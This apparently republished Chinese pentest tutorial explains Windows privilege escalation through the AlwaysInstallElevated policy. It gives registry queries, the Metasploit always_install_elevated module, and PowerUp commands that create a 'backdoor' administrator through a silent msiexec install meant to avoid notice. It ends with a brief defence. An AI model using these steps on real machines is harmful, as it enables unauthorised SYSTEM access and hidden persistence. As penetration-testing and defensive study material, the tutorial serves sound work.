文章前言
注册表键AlwaysInstallElevated是一个策略设置项,Window允许低权限用户以System权限运行安装文件,如果启用次策略设置项,那么任何权限的用户都能以NT AUTHORITY\\\\SYSTEM权限来安装恶意的MSI文件,从安全的角度来看,攻击者可能会滥用这一点,以便将其权限升级到系统级别。
环境配置
首先,在\\”运行\\”设置框中输入\\”gpedit.msc\\”进入组策略编辑器,之后进行编辑,修改以下内容:
1、组策略—>计算机配置—>管理模板—>Windows组件—>Window Installer —>永远以高权限进行安装:
2、组策略—>用户配置—>管理模板—>Windows组件—>WIndows Installer—>永远以高权限进行安装—>启用:
设置完毕之后会在注册表(regedit)的以下两个位置自动创建键值\\”1\\”:
HKEY_CURRENT_USER\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\\\\AlwaysInstallElevated:
HKEY_LOCAL_MACHINE\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer\\\\AlwaysInstallElevated:
简单测试
我们假设我们已经获取到了一台主机的权限,并且有一个meterpreter会话
确定主机上是否存在此问题的最简单方法是查询以下注册表项:
reg query HKCU\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer /v AlwaysInstallElevated
reg query HKLM\\\\SOFTWARE\\\\Policies\\\\Microsoft\\\\Windows\\\\Installer /v AlwaysInstallElevated
Metasploit
提升权限的最简单和最快的方法是通过metasploit框架,该框架包含一个模块,该模块可以生成一个带有简单有效负载MSI包,该包将作为系统在目标主机上执行,并且它将被自动删除
use exploit/windows/local/always_install_elevated
set session 1
PowerUp
在这里,可以使用PowerUp的Get-RegistryAlwaysInstallElevated模块来检测注册表键值是否被设置,如果AlwaysInstallElevated注册表键值被设置,则意味着MSI文件是以System权限运行的,运行该模式的命令如下:
Import-Module .\\\\PowerUp.ps1
Get-RegistryAlwaysInstallElevated
接下来,使用PowerUp来添加账户,运行Write-UserAddMSI模块生成MSI文件:
Write-UserAddMSI
接下来以普通用户权限运行UserAdd.msi:
之后会弹出框用于添加用户名、用户密码、用户组:
之后查看用户可以发现成功添加用户backdoor:
同时成功添加到管理员组:
在渗透测试过程中,我们自然希望不要去惊扰目标用户,避免被发现,所以常常需要使用\\”静谧模式\\”,关于这一点我们可以在CMD中直接运行UserAdd.msi即可,不过需要添加以下参数:
-
/quiet:在安装过程中禁止向用户发送消息
-
/qn:不适用GUI
-
/i:安装程序
最常用的格式为:
msiexec /q /i UserAdd.msi
防御措施
禁用注册表键值AlwaysInstallElevated就OK~
原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34118.html